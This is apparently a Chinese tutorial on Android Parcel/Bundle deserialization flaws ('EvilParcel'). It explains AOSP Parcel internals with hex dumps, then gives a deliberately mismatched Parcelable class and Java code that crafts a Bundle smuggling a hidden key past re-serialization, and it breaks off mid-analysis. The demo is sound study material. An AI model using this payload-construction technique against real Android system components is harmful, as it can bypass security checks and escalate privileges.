安卓反序列化漏洞

简介

随着移动应用程序的快速发展和普及,安卓平台上的安全性问题越来越受到关注。在安卓应用程序中,序列化是一种常见的数据交换和持久化机制,然而,序列化操作也引入了一些安全风险,其中之一就是EvilParcel漏洞。本文将深入探讨EvilParcel漏洞的背景、工作原理以及对安卓系统的重要性。

在Android开发中,序列化是指将对象转换为可传输或可存储的形式,以便在不同的上下文中进行传递或持久化。序列化将对象转换为字节流或其他形式,使其可以在网络上传输、存储到文件系统或在内存中保存。

在Android中,有两种常见的序列化方式:

  1. Java的Serializable接口:Java的Serializable接口是Java语言提供的一种序列化机制。通过实现Serializable接口,对象可以被序列化为字节流,并可以在网络上传输或存储到文件系统中。在Android中,Serializable接口同样适用,可以将对象序列化为字节数组,或者通过ObjectInputStream和ObjectOutputStream进行读取和写入。
  2. Android的Parcelable接口:Android提供了Parcelable接口,它是一种高效的序列化方式,特别设计用于在Android组件之间传递对象。与Serializable接口相比,Parcelable接口在性能上更高效,因为它使用了更轻量级的序列化方式。通过实现Parcelable接口,对象可以将其字段以原始数据类型的形式写入Parcel对象,然后在需要的时候进行读取。Parcelable接口要求实现writeToParcel()方法来将对象字段写入Parcel,以及一个特殊的构造函数或CREATOR字段来从Parcel中读取字段。

使用序列化的好处:

  • 数据持久化:序列化可以将对象保存到文件系统或数据库中,以便在后续的应用程序启动时恢复对象的状态。
  • 进程间通信:通过序列化,可以在不同的进程之间传递对象,实现进程间通信(IPC)。
  • 跨网络传输:序列化可以将对象转换为字节流,便于通过网络进行传输。

Parcel设计的初衷是轻量和高效因此牺牲了安全性,缺乏安全校验且在底层是手动控制,所以很容易出现漏洞,aosp曾经报出多个与反序列化相关的漏洞。

前置基础知识

传输Intent时,将Bundle对象转换序列化为包裹在Parcel中的字节数组,然后在从序列化Bundle中读取键和值后自动将其反序列化。

在Bundle中,键是字符串,值几乎可以是任何值。 例如,它可以是原始类型,字符串或具有原始类型或字符串的容器。 它也可以是一个Parcelable对象。

因此,捆绑包可以包含实现Parcelable接口的任何类型的对象。 为此,我们需要实现writeToParcel()和createFromParcel()方法来序列化和反序列化对象。

二进制存储方式

​ 通过aosp源码查看Parcel对int、long、String的数据类型写入和读取。方便理解Parcel的序列化漏洞。这里以Android8.1版本源码查看代码实现,Parcel的代码接口实现是在frameworks/base/core/java/android/os/Parcel.java中,但这里是给sdk提供调用接口,真正实现Parcel功能的代码是在native中,在Parcel.java就存在很多jni函数调用其代码是在frameworks/base/core/jni/android_os_Parcel.cpp中,因分层开发思想jni中也不会有最终具体调用代码,jni函数还会再次调用so库的实现代码,具体的是frameworks/native/libs/binder/Parcel.cpp.

  • writeInt
private static native void nativeWriteInt(long nativePtr, int val);
/**
    * Write an integer value into the parcel at the current dataPosition(),
    * growing dataCapacity() if needed.
    */
public final void writeInt(int val) {
       nativeWriteInt(mNativePtr, val);
}

frameworks/base/core/jni/android_os_Parcel.cpp

static void android_os_Parcel_writeInt(JNIEnv* env, jclass clazz, jlong nativePtr, jint val) {
    Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
    if (parcel != NULL) {
        const status_t err = parcel->writeInt32(val);
        if (err != NO_ERROR) {
            signalExceptionForError(env, clazz, err);
        }
    }
}

frameworks/native/libs/binder/Parcel.cpp

status_t Parcel::writeInt32(int32_t val)
{
    return writeAligned(val);
}

status_t Parcel::writeAligned(T val) {
    COMPILE_TIME_ASSERT_FUNCTION_SCOPE(PAD_SIZE_UNSAFE(sizeof(T)) == sizeof(T));

    if ((mDataPos+sizeof(val)) <= mDataCapacity) {
restart_write:
        *reinterpret_cast<T*>(mData+mDataPos) = val;
        return finishWrite(sizeof(val));
    }

    status_t err = growData(sizeof(val));
    if (err == NO_ERROR) goto restart_write;
    return err;
}


status_t Parcel::finishWrite(size_t len)
{
    if (len > INT32_MAX) {
        // don't accept size_t values which may have come from an
        // inadvertent conversion from a negative int.
        return BAD_VALUE;
    }

    //printf("Finish write of %d\n", len);
    mDataPos += len;
    ALOGV("finishWrite Setting data pos of %p to %zu", this, mDataPos);
    if (mDataPos > mDataSize) {
        mDataSize = mDataPos;
        ALOGV("finishWrite Setting data size of %p to %zu", this, mDataSize);
    }
    //printf("New pos=%d, size=%d\n", mDataPos, mDataSize);
    return NO_ERROR;
}

status_t Parcel::growData(size_t len)
{
    if (len > INT32_MAX) {
        // don't accept size_t values which may have come from an
        // inadvertent conversion from a negative int.
        return BAD_VALUE;
    }

    size_t newSize = ((mDataSize+len)*3)/2;
    return (newSize <= mDataSize)
            ? (status_t) NO_MEMORY
            : continueWrite(newSize);
}

writeAligned这是一个模板函数,用于将一个值写入Parcel对象。它接受一个模板参数T表示值的类型,在该代码段中,T被推断为传入的参数类型。此函数的主要工作如下:

  • 首先,它使用static_assert断言来检查T的大小是否与对齐大小相同,并确保T是可平凡复制的(trivially copyable)类型。这些检查确保只能写入大小正确且可复制的类型。
  • 接下来,它检查是否有足够的空间来容纳要写入的值。如果有足够的空间,它将值通过memcpy函数复制到Parcel数据缓冲区中的适当位置。
  • 如果没有足够的空间,它将调用growData()函数来扩展Parcel的数据缓冲区以容纳新的值,并重新尝试写入操作。
  • 如果扩展数据缓冲区成功,则通过标签restart_write回到写入操作的开始处,重新尝试写入值。
  • 如果扩展数据缓冲区失败,则返回错误代码。
  1. Parcel::writeInt32(int32_t val)
    • int32_t val:要写入Parcel对象的32位整数值。
  2. Parcel::writeAligned(T val)
    • T val:要写入Parcel对象的值。T是一个模板参数,表示值的类型,在该代码段中,T被推断为传入的参数类型。
  3. Parcel::finishWrite(size_t len)
    • 作用:完成写入操作并更新Parcel对象的数据位置和大小。
    • 参数:
      • size_t len:写入Parcel对象的数据长度。
    • 返回值:
      • status_t类型,表示写入操作的状态。
    • 功能:
      • 首先,它检查写入的数据长度是否超过了INT32_MAX,如果超过了,会返回BAD_VALUE表示非法的数据长度。
      • 然后,它将数据位置(mDataPos)增加len,表示已经写入了len个字节的数据。
      • 接着,它检查数据位置(mDataPos)是否大于数据大小(mDataSize),如果是,更新数据大小为当前数据位置,表示数据大小随写入操作增长。
      • 最后,它返回NO_ERROR表示写入操作成功。
  4. Parcel::growData(size_t len)
    • 作用:在需要时扩展Parcel对象的数据缓冲区的大小。
    • 参数:
      • size_t len:要扩展的Parcel数据缓冲区的长度。
    • 返回值:
      • status_t类型,表示扩展数据缓冲区的状态。
    • 功能:
      • 首先,它检查要扩展的数据长度是否超过了INT32_MAX,如果超过了,会返回BAD_VALUE表示非法的数据长度。
      • 然后,它计算新的数据大小(newSize),通过将当前数据大小(mDataSize)与要扩展的长度(len)相加,并乘以3/2来确定扩展后的大小。
      • 接着,它判断新的数据大小是否小于等于当前数据大小,如果是,则表示内存不足,返回NO_MEMORY。
      • 如果新的数据大小大于当前数据大小,它将调用continueWrite()函数来继续写入操作,扩展数据缓冲区,并返回相应的状态。
  • writeString
 /**
     * Write a string value into the parcel at the current dataPosition(),
     * growing dataCapacity() if needed.
     */
public final void writeString(String val) {
     mReadWriteHelper.writeString(this, val);
}

frameworks/base/core/jni/android_os_Parcel.cpp

static void android_os_Parcel_writeString(JNIEnv* env, jclass clazz, jlong nativePtr, jstring val)
{
    Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
    if (parcel != NULL) {
        status_t err = NO_MEMORY;
        if (val) {
            const jchar* str = env->GetStringCritical(val, 0);
            if (str) {
                err = parcel->writeString16(
                    reinterpret_cast<const char16_t*>(str),
                    env->GetStringLength(val));		// 返回的是 Unicode 字符
                env->ReleaseStringCritical(val, str);
            }
        } else {
            err = parcel->writeString16(NULL, 0);
        }
        if (err != NO_ERROR) {
            signalExceptionForError(env, clazz, err);
        }
    }
}

frameworks/native/libs/binder/Parcel.cpp

status_t Parcel::writeString16(const std::unique_ptr<String16>& str)
{
    if (!str) {
        return writeInt32(-1);
    }

    return writeString16(*str);
}

status_t Parcel::writeString16(const String16& str)
{
    return writeString16(str.string(), str.size());
}

status_t Parcel::writeString16(const char16_t* str, size_t len)
{
    if (str == NULL) return writeInt32(-1);

    status_t err = writeInt32(len);
    if (err == NO_ERROR) {
        len *= sizeof(char16_t);
        uint8_t* data = (uint8_t*)writeInplace(len+sizeof(char16_t));
        if (data) {
            memcpy(data, str, len);
            *reinterpret_cast<char16_t*>(data+len) = 0;
            return NO_ERROR;
        }
        err = mError;
    }
    return err;
}

1.android_os_Parcel_writeString(JNIEnv* env, jclass clazz, jlong nativePtr, jstring val)

​ 首先,通过reinterpret_castnativePtr转换为Parcel*类型的指针,以获取对应的Parcel对象。

​ 检查Parcel对象是否为空指针。如果为空,则不执行任何操作。

​ 如果Parcel对象不为空,进行以下操作:

  • 创建一个status_t类型的变量err,并初始化为NO_ERROR,表示操作成功。
  • 检查Parcel对象是否为空指针。如果为空,则不执行任何操作。
  • 如果Parcel对象不为空,进行以下操作:
    • 获取字符串的长度len,以及需要分配的内存长度allocLen(以char16_t为单位)。
    • 调用parcel->writeInt32(len)写入字符串的长度。
    • 调用parcel->writeInplace(allocLen + sizeof(char16_t))获取写入数据的指针data
    • 如果data不为nullptr,表示获取写入指针成功,将Java层的字符串内容复制到data指向的内存区域,并在末尾添加一个null终止字符。
    • 如果data为nullptr,表示内存不足,将err设置为NO_MEMORY
  • 如果val为null,表示要写入一个空字符串,调用parcel->writeString16(nullptr, 0)来写入。
  • 最后,如果err不等于NO_ERROR,表示写入操作出错,调用signalExceptionForError()函数向Java层抛出异常,传递错误信息。

要注意 GetStringRegion 返回的是 Unicode 字符,因此每个字符占 2 字节;

2.Parcel::writeString16(const char16_t* str, size_t len)

  • 作用:将指定长度的char16_t类型字符串写入Parcel对象。
  • 参数:
    • const char16_t* str:指向要写入的字符串的指针。
    • size_t len:要写入的字符串的长度。
  • 返回值:
    • status_t类型,表示写入操作的状态。
  • 功能:
    • 首先,它检查指针是否为空。如果为空,表示字符串为null,将写入一个特殊的标识-1(通过调用writeInt32(-1)),并返回相应的状态。
    • 如果指针不为空,它将先写入字符串的长度(以int32形式),然后在Parcel对象的数据缓冲区中预留足够的空间来存储字符串内容。
    • 接着,它将字符串内容复制到Parcel对象的数据缓冲区,并在末尾添加一个null终止字符。
    • 最后,它返回写入操作的状态。

3.void* Parcel::writeInplace(size_t len)

  • 作用:在Parcel对象的数据缓冲区中就地写入数据,并返回写入数据的指针。

  • 参数:

    • size_t len:要写入的数据的长度。
  • 返回值:

    • void*类型,指向写入的数据的指针。
  • 功能:

    • 首先,它检查要写入的数据长度是否超过了INT32_MAX,如果超过了,会返回NULL表示非法的数据长度。
    • 然后,它计算要写入数据的长度的对齐值(padded),调用finishWrite(padded)来完成写入操作,并返回写入数据的指针。
    • 在写入数据之前,它还会进行一些检查,如检查整数溢出的情况和是否需要进行数据对齐。
    • 如果写入操作失败,则返回NULL。
  • writeArray

    public final void writeArray(Object[] val) {
        if (val == null) {
            writeInt(-1);
            return;
        }
        int N = val.length;
        int i=0;
        writeInt(N);
        while (i < N) {
            writeValue(val[i]);
            i++;
        }
    }

    public final void writeByteArray(byte[] b) {
        writeByteArray(b, 0, (b != null) ? b.length : 0);
    }

    public final void writeByteArray(byte[] b, int offset, int len) {
        if (b == null) {
            writeInt(-1);
            return;
        }
        Arrays.checkOffsetAndCount(b.length, offset, len);
        nativeWriteByteArray(mNativePtr, b, offset, len);
    }

frameworks/base/core/jni/android_os_Parcel.cpp

static void android_os_Parcel_writeByteArray(JNIEnv* env, jclass clazz, jlong nativePtr,
                                             jobject data, jint offset, jint length)
{
    Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr);
    if (parcel == NULL) {
        return;
    }

    const status_t err = parcel->writeInt32(length);
    if (err != NO_ERROR) {
        signalExceptionForError(env, clazz, err);
        return;
    }

    void* dest = parcel->writeInplace(length);
    if (dest == NULL) {
        signalExceptionForError(env, clazz, NO_MEMORY);
        return;
    }

    jbyte* ar = (jbyte*)env->GetPrimitiveArrayCritical((jarray)data, 0);
    if (ar) {
        memcpy(dest, ar + offset, length);
        env->ReleasePrimitiveArrayCritical((jarray)data, ar, 0);
    }
}

函数使用memcpy来写入Array内容。

  1. android_os_Parcel_writeByteArray(JNIEnv* env, jclass clazz, jlong nativePtr,jobject data, jint offset, jint length)
    • 调用parcel->writeInt32(length)将整型变量length写入Parcel对象,表示要写入的字节数组的长度。

    • 检查写入操作的状态,如果出错,则调用signalExceptionForError()函数向Java层抛出异常,传递错误信息,并返回。

    • 调用parcel->writeInplace(length)获取用于写入数据的内存指针dest

    • 检查内存指针是否为空,如果为空,则调用signalExceptionForError()函数向Java层抛出异常,传递内存不足的错误信息,并返回。

    • 使用env->GetPrimitiveArrayCritical((jarray)data, 0)获取字节数组data的指针ar

    • 如果ar不为空指针,表示获取字节数组指针成功,将字节数组中从偏移量offset开始的长度为length的数据复制到dest指向的内存区域。

    • 最后,使用env->ReleasePrimitiveArrayCritical((jarray)data, ar, 0)释放字节数组的指针。

  • Parcelable
  /**
     * Flatten the name of the class of the Parcelable and its contents
     * into the parcel.
     *
     * @param p The Parcelable object to be written.
     * @param parcelableFlags Contextual flags as per
     * {@link Parcelable#writeToParcel(Parcel, int) Parcelable.writeToParcel()}.
     */
public final void writeParcelable(Parcelable p, int parcelableFlags) {
     if (p == null) {
         writeString(null);
         return;
     }
     writeParcelableCreator(p);
     p.writeToParcel(this, parcelableFlags);
}

/** @hide */
public final void writeParcelableCreator(Parcelable p) {
       String name = p.getClass().getName();
       writeString(name);
 }
  • Bundle 序列化
public void writeToParcel(Parcel parcel, int flags) {
    final boolean oldAllowFds = parcel.pushAllowFds((mFlags & FLAG_ALLOW_FDS) != 0);
    try {
      writeToParcelInner(parcel, flags);
    } finally {
      parcel.restoreAllowFds(oldAllowFds);
    }
}

frameworks/base/core/java/android/os/BaseBundle.java

void writeToParcelInner(Parcel parcel, int flags) {
        // If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first.
        if (parcel.hasReadWriteHelper()) {
            unparcel();
        }
        // Keep implementation in sync with writeToParcel() in
        // frameworks/native/libs/binder/PersistableBundle.cpp.
        final ArrayMap<String, Object> map;
        synchronized (this) {
            // unparcel() can race with this method and cause the parcel to recycle
            // at the wrong time. So synchronize access the mParcelledData's content.
            if (mParcelledData != null) {
                if (mParcelledData == NoImagePreloadHolder.EMPTY_PARCEL) {
                    parcel.writeInt(0);
                } else {
                    int length = mParcelledData.dataSize();
                    parcel.writeInt(length);
                    parcel.writeInt(BUNDLE_MAGIC);
                    parcel.appendFrom(mParcelledData, 0, length);
                }
                return;
            }
            map = mMap;
        }

        // Special case for empty bundles.
        if (map == null || map.size() <= 0) {
            parcel.writeInt(0);
            return;
        }
        int lengthPos = parcel.dataPosition();
        parcel.writeInt(-1); // dummy, will hold length
        parcel.writeInt(BUNDLE_MAGIC);

        int startPos = parcel.dataPosition();
        parcel.writeArrayMapInternal(map);
        int endPos = parcel.dataPosition();

        // Backpatch length
        parcel.setDataPosition(lengthPos);
        int length = endPos - startPos;
        parcel.writeInt(length);
        parcel.setDataPosition(endPos);
    }

frameworks/base/core/java/android/os/Parcel.java

   /**
     * Flatten an ArrayMap into the parcel at the current dataPosition(),
     * growing dataCapacity() if needed.  The Map keys must be String objects.
     */
    /* package */ void writeArrayMapInternal(ArrayMap<String, Object> val) {
        if (val == null) {
            writeInt(-1);
            return;
        }
        // Keep the format of this Parcel in sync with writeToParcelInner() in
        // frameworks/native/libs/binder/PersistableBundle.cpp.
        final int N = val.size();
        writeInt(N);
        if (DEBUG_ARRAY_MAP) {
            RuntimeException here =  new RuntimeException("here");
            here.fillInStackTrace();
            Log.d(TAG, "Writing " + N + " ArrayMap entries", here);
        }
        int startPos;
        for (int i=0; i<N; i++) {
            if (DEBUG_ARRAY_MAP) startPos = dataPosition();
            writeString(val.keyAt(i));
            writeValue(val.valueAt(i));
            if (DEBUG_ARRAY_MAP) Log.d(TAG, "  Write #" + i + " "
                    + (dataPosition()-startPos) + " bytes: key=0x"
                    + Integer.toHexString(val.keyAt(i) != null ? val.keyAt(i).hashCode() : 0)
                    + " " + val.keyAt(i));
        }
    }

public final void writeValue(@Nullable Object v) {
    if (v == null) {
        writeInt(VAL_NULL);
    } else if (v instanceof String) {
        writeInt(VAL_STRING);
        writeString((String) v);
    } else if (v instanceof Integer) {
        writeInt(VAL_INTEGER);
        writeInt((Integer) v);
    } else if (v instanceof Map) {
        writeInt(VAL_MAP);
        writeMap((Map) v);
    } else if (v instanceof Bundle) {
            // Must be before Parcelable
            writeInt(VAL_BUNDLE);
            writeBundle((Bundle) v);
    } else if (v instanceof PersistableBundle) {
            writeInt(VAL_PERSISTABLEBUNDLE);
            writePersistableBundle((PersistableBundle) v);
    } // .... 
    else {
        Class<?> clazz = v.getClass();
        if (clazz.isArray() && clazz.getComponentType() == Object.class) {
            // Only pure Object[] are written here, Other arrays of non-primitive types are
            // handled by serialization as this does not record the component type.
            writeInt(VAL_OBJECTARRAY);
            writeArray((Object[]) v);
        } else if (v instanceof Serializable) {
            // Must be last
            writeInt(VAL_SERIALIZABLE);
            writeSerializable((Serializable) v);
        } else {
            throw new RuntimeException("Parcel: unable to marshal value " + v);
        }
    }
}

Bundle 的过程先写入整型的 size,然后依次写入每个 key 和 value。writeValue会根据对象类型分别写入一个代表类型的整数以及具体的数据。所支持的类型如下所示:

    // Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
    private static final int VAL_NULL = -1;
    private static final int VAL_STRING = 0;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_MAP = 2;
    private static final int VAL_BUNDLE = 3;
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_SHORT = 5;
    private static final int VAL_LONG = 6;
    private static final int VAL_FLOAT = 7;
    private static final int VAL_DOUBLE = 8;
    private static final int VAL_BOOLEAN = 9;
    private static final int VAL_CHARSEQUENCE = 10;
    private static final int VAL_LIST  = 11;
    private static final int VAL_SPARSEARRAY = 12;
    private static final int VAL_BYTEARRAY = 13;
    private static final int VAL_STRINGARRAY = 14;
    private static final int VAL_IBINDER = 15;
    private static final int VAL_PARCELABLEARRAY = 16;
    private static final int VAL_OBJECTARRAY = 17;
    private static final int VAL_INTARRAY = 18;
    private static final int VAL_LONGARRAY = 19;
    private static final int VAL_BYTE = 20;
    private static final int VAL_SERIALIZABLE = 21;
    private static final int VAL_SPARSEBOOLEANARRAY = 22;
    private static final int VAL_BOOLEANARRAY = 23;
    private static final int VAL_CHARSEQUENCEARRAY = 24;
    private static final int VAL_PERSISTABLEBUNDLE = 25;
    private static final int VAL_SIZE = 26;
    private static final int VAL_SIZEF = 27;

Bundle举例说明序列化后的二进制:

				Bundle topsec =new Bundle();
                topsec.putInt("key1", 0x1337);
                topsec.putString("key2", "hello");
                topsec.putLong("key3", 0x012345678);
                topsec.putInt("key4",0x11111);
                topsec.putByteArray("key5","testt".getBytes());

                Parcel topsecoutput = Parcel.obtain();
                topsecoutput.writeBundle(topsec);
                topsecoutput.setDataPosition(0);
                byte[] topsec_out = topsecoutput.marshall();
                try{
                    FileOutputStream fileOutputStream = new FileOutputStream(MainActivity.this.getCacheDir()+File.separator+"topsec_output.plc");
                    fileOutputStream.write(topsec_out);
                    fileOutputStream.close();

                }catch (Exception e){
                    e.printStackTrace();
                }

二进制文件手动解析:

00000000: 9400 0000 424e 444c 0500 0000 0400 0000  ....BNDL........
00000010: 6b00 6500 7900 3100 0000 0000 0100 0000  k.e.y.1.........
00000020: 3713 0000 0400 0000 6b00 6500 7900 3200  7.......k.e.y.2.
00000030: 0000 0000 0000 0000 0500 0000 6800 6500  ............h.e.
00000040: 6c00 6c00 6f00 0000 0400 0000 6b00 6500  l.l.o.......k.e.
00000050: 7900 3300 0000 0000 0600 0000 7856 3412  y.3.........xV4.
00000060: 0000 0000 0400 0000 6b00 6500 7900 3400  ........k.e.y.4.
00000070: 0000 0000 0100 0000 1111 0100 0400 0000  ................
00000080: 6b00 6500 7900 3500 0000 0000 0d00 0000  k.e.y.5.........
00000090: 0500 0000 7465 7374 7400 0000            ....testt...


序列化包大小:9400 0000
序列化magic:424e 444c
key/value个数:0400 0000


[0]key大小:0400 0000
[0]key的值:6b00 6500 7900 3100 
[0]value的类型:0100 0000
[0]value的值:3713 0000

[1]key大小:0400 0000
[1]key的值:6b00 6500 7900 3200 
[1]value的类型:0500 0000
[1]value的值:6800 6500 6c00 6c00 6f00 0000

[2]key大小:0400 0000
[2]key的值:6b00 6500 7900 3300 
[2]value的类型:0600 0000
[2]value的值:7856 3412 0000 0000

[3]key大小:0400 0000
[3]key的值:6b00 6500 7900 3400 
[3]value的类型:0100 0000
[3]value的值:1111 0100 

[4]key大小:0400 0000
[4]key的值:6b00 6500 7900 3500
[4]value的类型:0d00 0000
[4]value的长度:0500 0000
[4]value的值:7465 7374 7400 0000

序列化后二进制格式:包大小+magic+map个数 key大小+key/value+value类型+[value的长度]+value.

Bundle序列化的特定功能:

所有键值对均按顺序写入;在每个值之前指示值类型(13表示字节数组,1表示整数,0表示字符串,等等);可变长度数据大小在数据之前指示(字符串的长度,数组的字节数);所有值都是4字节对齐的。

反序列化漏洞示例

通过一个错误Parcelable的类来了解反序列化的原因。

public class MyParcelable implements Parcelable {

    private long mData;

    protected MyParcelable(){

    }

    protected MyParcelable(Parcel in) {
        mData = in.readInt();
    
    }

    public static final Creator<Vulnerable> CREATOR = new Creator<Vulnerable>() {
        @Override
        public Vulnerable createFromParcel(Parcel in) {
            return new MyParcelable(in);
        }

        @Override
        public Vulnerable[] newArray(int size) {
            return new MyParcelable[size];
        }
    };

    @Override
    public int describeContents() {
        return 0;
    }

    @Override
    public void writeToParcel(@NonNull Parcel dest, int flags) {

        dest.writeLong(mData);
    }
}

使用Parcel构造序列化

				Parcel data = Parcel.obtain();
                data.writeInt(3); // 3 entries
                data.writeString("vuln_class");
                data.writeInt(4); // value is Parcelable
                data.writeString("com.topsec.test2.MyParcelable");
                data.writeInt(0); // data.length
                data.writeInt(1); // key length -> key value
                data.writeInt(6); // key value -> value is long
                data.writeInt(0xD); // value is bytearray -> low(long)
                data.writeInt(-1); // bytearray length dummy -> high(long)
                int startPos = data.dataPosition();
                data.writeString("hidden"); // bytearray data -> hidden key
                data.writeInt(0); // value is string
                data.writeString("Hi there"); // hidden value
                int endPos = data.dataPosition();
                int triggerLen = endPos - startPos;
                data.setDataPosition(startPos - 4);
                data.writeInt(triggerLen); // overwrite dummy value with the real value
                data.setDataPosition(endPos);
                data.writeString("A padding");
                data.writeInt(0); // value is string
                data.writeString("to match pair count");
                int length = data.dataSize();
                Parcel bndl = Parcel.obtain();
                bndl.writeInt(length);
                bndl.writeInt(0x4C444E42); // bundle magic
                bndl.appendFrom(data, 0, length);
                bndl.setDataPosition(0);
				
  				Bundle bundle = new Bundle(this.getClass().getClassLoader());
                bundle.readFromParcel(bndl);
                Set<String> test =  bundle.keySet();

构造的示意图:
在这里插入图片描述
在key[1]的value中增加隐藏的key-value数据,当反序列化后再序列化之后,这个隐藏的key就会被解析出来。
在这里插入图片描述
二进制文件:

00000000: f000 0000 424e 444c 0300 0000 0a00 0000  ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100  v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000  s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300  c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200  e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500  ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000  l.a.b.l.e.......
00000070: 0100 0000 0600 0000 0d00 0000 3000 0000  ............0...
00000080: 0600 0000 6800 6900 6400 6400 6500 6e00  ....h.i.d.d.e.n.
00000090: 0000 0000 0000 0000 0800 0000 4800 6900  ............H.i.
000000a0: 2000 7400 6800 6500 7200 6500 0000 0000   .t.h.e.r.e.....
000000b0: 0900 0000 4100 2000 7000 6100 6400 6400  ....A. .p.a.d.d.
000000c0: 6900 6e00 6700 0000 0000 0000 1300 0000  i.n.g...........
000000d0: 7400 6f00 2000 6d00 6100 7400 6300 6800  t.o. .m.a.t.c.h.
000000e0: 2000 7000 6100 6900 7200 2000 6300 6f00   .p.a.i.r. .c.o.
000000f0: 7500 6e00 7400 0000                      u.n.t...



再次序列化Bundle,然后再次对其进行反序列化

  				Parcel newParcel = Parcel.obtain();
                newParcel.writeBundle(bundle);	
                newParcel.setDataPosition(0);
				Bundle bundletest = new Bundle(this.getClass().getClassLoader());
                bundletest.readFromParcel(newParcel);
                Set<String> test2 = bundletest.keySet();

在这里插入图片描述

二进制文件:

00000000: f400 0000 424e 444c 0300 0000 0a00 0000  ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100  v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000  s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300  c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200  e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500  ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000  l.a.b.l.e.......
00000070: 0000 0000 0100 0000 0600 0000 0d00 0000  ................
00000080: 3000 0000 0600 0000 6800 6900 6400 6400  0.......h.i.d.d.
00000090: 6500 6e00 0000 0000 0000 0000 0800 0000  e.n.............
000000a0: 4800 6900 2000 7400 6800 6500 7200 6500  H.i. .t.h.e.r.e.
000000b0: 0000 0000 0900 0000 4100 2000 7000 6100  ........A. .p.a.
000000c0: 6400 6400 6900 6e00 6700 0000 0000 0000  d.d.i.n.g.......
000000d0: 1300 0000 7400 6f00 2000 6d00 6100 7400  ....t.o. .m.a.t.
000000e0: 6300 6800 2000 7000 6100 6900 7200 2000  c.h. .p.a.i.r. .
000000f0: 6300 6f00 7500 6e00 7400 0000            c.o.u.n.t...

第一次序列化+反序列化时解析:

00000000: f000 0000 424e 444c 0300 0000 0a00 0000  ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100  v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000  s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300  c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200  e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500  ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000  l.a.b.l.e.......
00000070: 0100 0000 0600 0000 0d00 0000 3000 0000  ............0...
00000080: 0600 0000 6800 6900 6400 6400 6500 6e00  ....h.i.d.d.e.n.
00000090: 0000 0000 0000 0000 0800 0000 4800 6900  ............H.i.
000000a0: 2000 7400 6800 6500 7200 6500 0000 0000   .t.h.e.r.e.....
000000b0: 0900 0000 4100 2000 7000 6100 6400 6400  ....A. .p.a.d.d.
000000c0: 6900 6e00 6700 0000 0000 0000 1300 0000  i.n.g...........
000000d0: 7400 6f00 2000 6d00 6100 7400 6300 6800  t.o. .m.a.t.c.h.
000000e0: 2000 7000 6100 6900 7200 2000 6300 6f00   .p.a.i.r. .c.o.
000000f0: 7500 6e00 7400 0000                      u.n.t...
 
序列化包大小:f0000000
序列化 magic:424e444c
key/value 个数:03000000

[0] Key 大小:0a000000
[0] Key 的值:760075006c006e005f0063006c00610073007300
[0] Value 的类型:04000000
[0] Value 的长度:1d00 0000
[0] Value 的值:6300 6f00 6d00 2e00 7400 6f00 7000 7300 .. 6c00 6100 6200 6c00 6500 0000 0000 0000

[1] key 大小:0100 0000
[1] key 的值:0600 0000
[1] Value 的类型:0d00 0000		// bytearray 类型 
[1] Value 的长度:3000 0000
[1] Value 的值:0600 0000 6800 6900 6400 6400 6500 6e00 ... 2000 7400 6800 6500 7200 6500 0000 0000

[2] key 大小:0900 0000
[2] key 的值:4100 2000 7000 6100 6400 6400 6900 6e00 6700
[2] Value 的类型: 0000
[2] Value 的长度:1300 0000
[2] Value 的值:7400 6f00 2000 6d00 6100 7400 6300 6800 2000 7000 6100 6900 7200 2000 6300 6f00 ...

第二次反序列化+序列化时解析:

00000000: f400 0000 424e 444c 0300 0000 0a00 0000  ....BNDL........
00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100  v.u.l.n._.c.l.a.
00000020: 7300 7300 0000 0000 0400 0000 1d00 0000  s.s.............
00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300  c.o.m...t.o.p.s.
00000040: 6500 6300 2e00 7400 6500 7300 7400 3200  e.c...t.e.s.t.2.
00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500  ..M.y.P.a.r.c.e.
00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000  l.a.b.l.e.......
00000070: 0000 0000 0100 0000 0600 0000 0d00 0000  ................
00000080: 3000 0000 0600 0000 6800 6900 6400 6400  0.......h.i.d.d.
00000090: 6500 6e00 0000 0000 0000 0000 0800 0000  e.n.............
000000a0: 4800 6900 2000 7400 6800 6500 7200 6500  H.i. .t.h.e.r.e.
000000b0: 0000 0000 0900 0000 4100 2000 7000 6100  ........A. .p.a.
000000c0: 6400 6400 6900 6e00 6700 0000 0000 0000  d.d.i.n.g.......
000000d0: 1300 0000 7400 6f00 2000 6d00 6100 7400  ....t.o. .m.a.t.
000000e0: 6300 6800 2000 7000 6100 6900 7200 2000  c.h. .p.a.i.r. .
000000f0: 6300 6f00 7500 6e00 7400 0000            c.o.u.n.t...

序列化包大小:f4000000
序列化 magic:424e444c
key/value 个数:03000000

[0] key 的大小:0a00 0000
